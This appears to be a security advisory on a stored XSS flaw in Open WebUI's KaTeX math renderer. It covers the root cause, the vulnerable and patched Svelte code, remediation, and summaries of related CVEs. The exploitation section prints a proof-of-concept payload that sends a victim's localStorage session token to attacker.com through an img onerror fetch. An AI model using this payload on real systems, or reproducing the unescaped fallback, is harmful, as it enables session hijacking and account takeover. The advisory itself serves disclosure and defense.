Aug 5, 2026·10 min read·1 visit
A stored XSS vulnerability in Open WebUI (v0.10.0 to <0.11.0) allows authenticated attackers to execute arbitrary JavaScript in user sessions by forcing a call stack limit error in KaTeX, bypassing error handling and triggering an unescaped HTML fallback rendering path.
CVE-2026-70492 (also tracked as GHSA-pwxh-7358-jq2x) is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI versions 0.10.0 through 0.10.x. The flaw arises because engine-level JavaScript stack overflow errors escape KaTeX standard error handling. Svelte's fallback rendering path assigns the raw, unescaped mathematical input string directly to the DOM using the unsafe {@html} directive, enabling arbitrary client-side code execution. This allows attackers to steal session tokens and perform unauthorized administrative actions when users view malicious messages. The vulnerability has been fully resolved in version 0.11.0.
Open WebUI is a self-hosted, highly extensible web user interface designed to interface with various artificial intelligence backends. The application supports mathematical rendering within its chat messages using the KaTeX library via a dedicated Svelte component named KatexRenderer.svelte. This component parses mathematical notations delimited by specific tokens such as double dollar signs and renders them into HTML on the client side. The attack surface is exposed directly through standard chat interactions, allowing users with message-posting privileges to submit arbitrary inputs.
A stored Cross-Site Scripting (XSS) vulnerability, registered as CVE-2026-70492, exists in this mathematical rendering flow. An authenticated attacker can insert a maliciously structured string containing highly nested mathematical delimiters to crash the parser engine. When the engine encounters a fatal runtime stack overflow error, the component's internal exception handler fails to apply sanitization. Consequently, the raw, unescaped payload is written directly to the DOM, compromising the security boundary of the web application.
The core weakness is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). This vulnerability allows unauthorized execution of client-side code whenever another user, such as a platform administrator, views the compromised chat log or shared channel. Because Open WebUI handles sensitive authentication materials and API keys on the frontend, the execution of arbitrary JavaScript inside a victim's active session results in severe compromise of system confidentiality and integrity. Below is a visual representation of the execution path that leads from input delivery to the execution of the stored script payload in the browser of the victim.
The root cause of the vulnerability lies in how the KatexRenderer.svelte component manages runtime exceptions generated by the underlying KaTeX parser. In typical operations, mathematical strings are rendered using KaTeX's renderToString function. The component configures the library with the throwOnError: false parameter, which is intended to suppress parsing exceptions. When this setting is active, KaTeX intercepts syntax violations, such as unbalanced LaTeX operators, and generates a structured, safe HTML element containing a visual error message instead of throwing an exception.
However, the throwOnError option is only capable of capturing structured ParseError objects thrown by KaTeX's internal lexical analyzer and parser. It cannot intercept engine-level exceptions thrown by the JavaScript runtime environment. When an input string contains deep structural nesting, such as thousands of consecutive opening braces, the recursive descent algorithm of the parser executes repeatedly. This recursion rapidly exhausts the execution stack allocated to the thread by the browser's JavaScript engine.
This stack exhaustion triggers a fatal engine-level RangeError: Maximum call stack size exceeded. Chromium-based browsers generally limit the stack size to around 10,000 frames depending on memory and configuration, whereas Safari and Firefox have different thresholds. This variance is why the recursion depth must be sufficiently high to trigger a stack overflow across multiple environments. The RangeError is thrown directly by the V8 or JavaScriptCore engine, skipping Svelte's context boundary. Because this error is a native runtime exception and not a parser-level error, the internal exception handling mechanisms of KaTeX are bypassed entirely. The RangeError propagates up the call stack until it is intercepted by the outer try-catch block implemented inside the Svelte component.
The implementation of the catch block contains a design flaw where it assumes any caught exception represents a minor syntax issue. Upon catching the runtime exception, the component assigns the unmodified, raw user-supplied string directly to the rendering variable. This bypasses all downstream validation or parsing filters. Because the raw, unescaped input contains both the recursion-inducing braces and functional HTML tags, the unsafe input is made ready for output generation.
To understand the structural flaw, we can examine the vulnerable implementation of the Svelte rendering component prior to version 0.11.0. The reactive block in the component manages the rendering lifecycle of the math markup whenever the content variable changes.
<script>
import katex from 'katex';
const { renderToString } = katex;
export let content = '';
export let displayMode = false;
let renderedHTML = '';
$: {
try {
// High-recursion inputs trigger a runtime RangeError here
renderedHTML = renderToString(content, { displayMode, throwOnError: false });
} catch {
// Vulnerable fallback path assigns unescaped user string
renderedHTML = content;
}
}
</script>
<!-- The unsafe Svelte directive outputs raw HTML without sanitization -->
{@html renderedHTML}The component relies on the Svelte compiler's {@html} directive to render the output of the mathematical conversion. The compiler assumes that any variable passed to this directive has already been fully sanitized by the rendering library. Since the catch block sets renderedHTML to the raw, unescaped content variable when a stack overflow occurs, Svelte injects the user's raw string directly into the Document Object Model (DOM).
In Svelte, a reactive statement runs on the client-side during the state synchronization phase. When the runtime exception escapes the try block, the assignment renderedHTML = content occurs synchronously. The subsequent DOM rendering of renderedHTML executes with no sanitization step because the Svelte compiler generates code that uses element.innerHTML directly for {@html} tags, omitting standard sanitization routines.
In version 0.11.0, the developers addressed this vulnerability in commit bc600d3f085802c45aa8f38c30e6e8c986bde6cc by sanitizing the fallback value when an exception occurs. The remediation replaces the vulnerable assignment with a chain of replacement operations designed to neutralize HTML syntax tokens.
<script>
import katex from 'katex';
const { renderToString } = katex;
export let content = '';
export let displayMode = false;
let renderedHTML = '';
$: {
try {
renderedHTML = renderToString(content, { displayMode, throwOnError: false });
} catch {
// Fix: Escape critical HTML characters to prevent tag injection
renderedHTML = content
.replaceAll('&', '&')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
}
</script>
{@html renderedHTML}The .replaceAll() chain ensures that characters such as < and > are converted to their corresponding HTML entities (< and >). Consequently, when Svelte processes the renderedHTML variable through the {@html} directive, the browser interprets the escaped entities strictly as literal text rather than executable markup. This prevents the browser from instantiating any HTML tags or executing embedded scripts.
Exploitation of this vulnerability requires the attacker to have account access to the target Open WebUI instance, which is typical for self-hosted collaborative or multi-user AI platforms. The attack payload is delivered by posting a specifically crafted message inside a chat thread or a shared communication channel. The payload must satisfy two criteria: it must exhaust the call stack of the browser's JavaScript engine to trigger the exception, and it must contain a client-side execution block.
The engine-level exception is achieved by nesting thousands of braces inside mathematical block delimiters. The parser attempts to process these structures recursively, consuming the stack frame allocation. Because different browsers allocate varying call stack limits, an attacker can specify a high number of nested characters (such as 10,000 sets of nested braces) to guarantee stack exhaustion across all major browser engines, including Chromium, Gecko, and WebKit.
An active HTML element is appended directly after or within the nested structure. A typical payload utilizes an <img> tag with an invalid source attribute and an inline onerror event handler. When the browser attempts to render this tag, the loading of the invalid source fails, immediately firing the onerror JavaScript callback. Alternatively, standard <script> tags can be used as Svelte's direct DOM injection parses and executes script blocks under the application's origin context.
The attack is entirely self-contained. The browser environment parses the injected HTML element in the context of the Open WebUI origin. Because the application uses cookies or localStorage for authentication, the script running under this origin can issue API requests to /api/v1 on behalf of the user. This allows the attacker to silently add administrative keys, change the email address of the administrator, or download chat histories.
A proof-of-concept payload targeting the local storage authentication tokens can be constructed as follows:
$$ {{{{ ...[repeated 10000 times]... }}}} <img src="x" onerror="fetch('https://attacker.com/log?token=' + encodeURIComponent(localStorage.token))"> $$Upon viewing the message, the victim's browser throws a call stack exception, executes the fallback routine, renders the unescaped image element, and triggers the exfiltration fetch request containing the active OAuth or Svelte token.
The security impact of CVE-2026-70492 is classified as high, carrying a CVSS base score of 8.7. Since the vulnerability is stored, the malicious script executes automatically when users navigate to a thread containing the infected message. This eliminates the need for complex phishing campaigns, as the target simply needs to access standard platform elements, such as shared chats, public channels, or collaborative workspaces.
The main consequence of successful exploitation is complete session hijacking. Because Open WebUI stores session tokens within the browser's local storage (localStorage.token), an executed script can read these values and transmit them to an external server. Once the attacker obtains this token, they can clone the session of the victim, gaining unauthorized access to the application without needing to pass through authentication challenges or multi-factor authentication checks.
If an administrative user views the compromised thread, the consequences extend to total platform takeover. The administrative token grants full control over the Open WebUI instance, enabling the attacker to modify global configurations, access private models, manipulate user accounts, or expose underlying system APIs. In environments where the platform is linked to enterprise infrastructure or proprietary databases, this compromise exposes internal corporate data to external exfiltration.
Additionally, client-side execution allows the attacker to perform state-changing actions on behalf of the victim. This includes posting messages to other channels, altering user profile settings, inviting unauthorized external users to private workspaces, or initiating model training tasks. The combination of stored persistence and automatic execution makes this vulnerability highly reliable for targeted internal attacks.
The definitive remediation for CVE-2026-70492 is to upgrade the Open WebUI installation to version 0.11.0 or higher. This release integrates the character replacement logic inside the Svelte template component, ensuring that all runtime exceptions are handled with strict HTML sanitization. Administrators using containerized deployments should pull the updated image tag from the official registry and redeploy the service to ensure the patch is applied across all active nodes.
For environments where an immediate upgrade is not feasible, temporary workarounds must be applied to reduce the attack surface. Web Application Firewalls (WAF) can be configured to inspect incoming HTTP POST requests directed at chat and workspace endpoints. Rules should be established to identify and block incoming payloads containing excessively deep sequences of nested braces combined with typical HTML tag delimiters or event handlers such as onerror and onload.
Administrators can also audit database contents to detect potential exploitation attempts. Running targeted SQL queries against message tables allows security teams to identify records that match exploitation patterns, such as mathematical delimiters enclosing HTML tags or extensive nesting. Detected records should be removed or modified to prevent execution if accessed by users. Long-term defensive strategies should focus on implementing robust Content Security Policies (CSP) to limit the impact of potential client-side script execution vulnerabilities. Restricting script execution to specific trusted domains and disabling the execution of inline scripts (unsafe-inline) helps mitigate the impact of stored XSS, preventing unauthorized outbound connections and API calls even if a script injection occurs.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
open-webui open-webui | >= 0.10.0, < 0.11.0 | 0.11.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.7 (High) |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
| Vulnerability Class | Stored Cross-Site Scripting (XSS) |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An information disclosure vulnerability in Open WebUI versions 0.10.2 and earlier allows authenticated non-admin users with read-only access (or any authenticated user when a tool is shared publicly) to retrieve the raw Python source code of custom workspace tools. Because these server-side tools commonly contain hardcoded API tokens, credentials, and proprietary logic, the exposure of raw tool source code severely compromises confidentiality and can facilitate wider infrastructure compromise.
CVE-2026-70493 is a critical Regular Expression Denial of Service (ReDoS) vulnerability affecting Open WebUI from version 0.9.6 up to (but excluding) 0.11.0. An authenticated user can submit a custom, highly complex regular expression pattern to search files within the knowledge base. Because these expressions are compiled and executed synchronously using Python's standard backtracking re module inside an asynchronous event loop, the server becomes unresponsive. A single request is capable of stalling the entire platform, denying access to all concurrent users of the system.
CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.
CVE-2026-53948 is a stored cross-site scripting (XSS) vulnerability in the Ghost content management system. Affected versions (v6.19.4 up to v6.21.0) trusted the client-supplied Content-Type header during file uploads via the Admin API. This allowed authenticated attackers to upload benignly-named files with executable MIME types (like text/html), executing scripts in visitor browsers when hosted on integrated cloud platforms like S3 or GCS.
A business logic vulnerability in Ghost CMS allows unauthenticated remote users to redeem deactivated or archived promotional subscription offers by programmatically passing old offer identifiers during the checkout session initialization.
A Server-Side Request Forgery (SSRF) vulnerability exists in the Ghost content management system from version 6.0.9 up to, but not including, 6.21.1. The flaw resides in the 'request-external.js' module, where the IP address validation blocklist fails to account for fully expanded IPv4-mapped IPv6 formats. This allows unauthenticated remote attackers to bypass the private IP filter and initiate unauthorized connections to loopback services, internal subnets, or cloud instance metadata endpoints.